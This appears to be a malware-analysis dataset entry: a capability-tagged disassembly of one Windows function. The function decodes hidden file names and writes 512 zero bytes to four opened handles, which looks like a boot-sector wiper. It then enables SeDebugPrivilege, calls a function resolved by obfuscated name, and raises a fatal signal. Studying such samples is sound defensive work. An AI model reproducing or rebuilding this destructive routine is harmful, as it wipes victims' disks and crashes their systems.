Function at 0x14003e990
Capabilities:
Acquire debug privileges
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x1400d8080]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp - 0x40]
xor r15d, r15d
mov ecx, 0x200
rep stosb byte [rdi], al
movabs rax, 0x8e7add915b730ab0
mov qword [rsp + 0x30], r15
mov qword [rbp - 0x58], rax
lea r8d, [r15 + 3]
movabs rdi, 0x7ff42b01fb3c9fdd
mov dword [rsp + 0x28], r15d
mov qword [rbp - 0x60], rdi
lea rcx, [rsp + 0x40]
movaps xmm0, xmmword [rbp - 0x60]
movabs r12, 0x1e9742728254cff3
movabs r13, 0x8e4ab8e732014edc
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r13
xor r9d, r9d
xorps xmm0, xmmword [rbp - 0x60]
mov edx, 0x10000000
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x60], rdi
lea r8d, [r15 + 3]
mov r14, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x8e7bdd915b730ab0
mov dword [rsp + 0x28], r15d
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x80]
movaps xmm0, xmmword [rbp - 0x60]
xor r9d, r9d
mov qword [rbp - 0x60], r12
mov edx, 0x10000000
mov qword [rbp - 0x58], r13
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x60], rdi
lea r8d, [r15 + 3]
mov rsi, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x8e78dd915b730ab0
mov dword [rsp + 0x28], r15d
mov qword [rbp - 0x58], rax
lea rcx, [rsp + 0x60]
movaps xmm0, xmmword [rbp - 0x60]
xor r9d, r9d
mov qword [rbp - 0x60], r12
mov edx, 0x10000000
mov qword [rbp - 0x58], r13
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x60], rdi
lea r8d, [r15 + 3]
mov rbx, rax
mov qword [rsp + 0x30], r15
movabs rax, 0x8e79dd915b730ab0
mov dword [rsp + 0x28], r15d
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x60]
movaps xmm0, xmmword [rbp - 0x60]
xor r9d, r9d
mov qword [rbp - 0x60], r12
mov edx, 0x10000000
mov qword [rbp - 0x58], r13
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x70]
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
movabs rax, 0x72f36c1eee30bb9d
lea rcx, [rsp + 0x50]
mov qword [rbp - 0x60], rax
movabs rax, 0x8e4ab8e732014eb0
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r13
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14003ed11
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
lea edx, [r15 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14003ec8a
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x14003ec84
mov rax, qword [rbp - 0x80]
lea r9d, [r15 + 0x10]
mov qword [rsp + 0x28], r15
lea r8, [rbp - 0x60]
xor edx, edx
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x60], 1
mov dword [rbp - 0x54], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rcx, 0x469aac993569eb46
lea rdx, [rbp - 0x80]
mov qword [rbp - 0x48], rcx
movabs rax, 0x6cc73617d138bba1
mov qword [rbp - 0x60], rax
movabs rax, 0xcd39f19441642db3
mov qword [rbp - 0x58], rax
movabs rax, 0xdc08d99fad28ec4f
movups xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x50], rax
movabs rax, 0xdc64b8fcc45c853d
movups xmm1, xmmword [rbp - 0x50]
mov qword [rbp - 0x48], rcx
mov rcx, rdi
mov qword [rbp - 0x50], rax
xorps xmm1, xmmword [rbp - 0x50]
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r13
xorps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003ed11
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov ecx, listen
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.1400aaf20
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret